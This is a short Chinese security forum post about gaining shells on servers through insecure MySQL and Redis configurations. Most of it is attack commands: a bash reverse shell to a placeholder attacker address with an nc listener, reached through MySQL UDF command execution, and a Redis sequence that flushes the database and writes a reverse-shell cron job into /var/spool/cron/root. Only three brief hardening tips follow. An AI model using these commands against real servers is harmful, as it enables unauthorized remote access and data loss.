-
-
[原创]不安全的数据库系列(1) mysql、redis不安全配置引发的getshell
-
发表于:
2016-11-11 11:24
1989
-
[原创]不安全的数据库系列(1) mysql、redis不安全配置引发的getshell
1.前言
web安全入门多是sql注入,xss。
几年前sql注入确实有很大的威胁,现在这样的技术几乎被玩烂了。
由于各种各样waf的存在,
硬件waf:绿盟等传统厂商的产品
软件waf:配置在apache,nginx等服务器的waf
数据库waf:druid等安全的连接池
代码级waf: 使用脚本语言实现的过滤器模式(discuz,ci中都有写好的正则严格过滤)
安全的代码编写规则:几乎普及的预编译查询
sql注入在大型java,php框架(j2ee,discuz,ci等)中几乎消失了。
由于大型网站性能需求,不许可架设waf,不许可使用写好的框架,但这样的网站多在云上(阿里云等),所以对sql注入也有一定的防御。
总之,小白的sql注入之路越发难走,大牛有各样的绕waf规则。
2.mysql getshell
假如发现了注入,该怎么利用呢?
传统思路:找后台->查管理员密码->写webshell->.......
由于站库分离,这种思路有严重局限性。
下面介绍mysql反弹shell:
通过udf执行系统命令
bash -i >& dev/tcp/xx.xx.xx.xx/XXXX 0>&1
本机监听
nc -nvlp XXXX
即可
3.redis getshell(redis没有sql注入风险)
先备份redis
然后
flushall
set 1 "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/xx.xx.xx.xx/XXXX 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save
写入corontab
最后清理,恢复数据库
4.mysql redis安全配置
1.不开放外网访问
2.使用低权限用户
3.禁用敏感命令
小白发帖,欢迎回帖交流
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课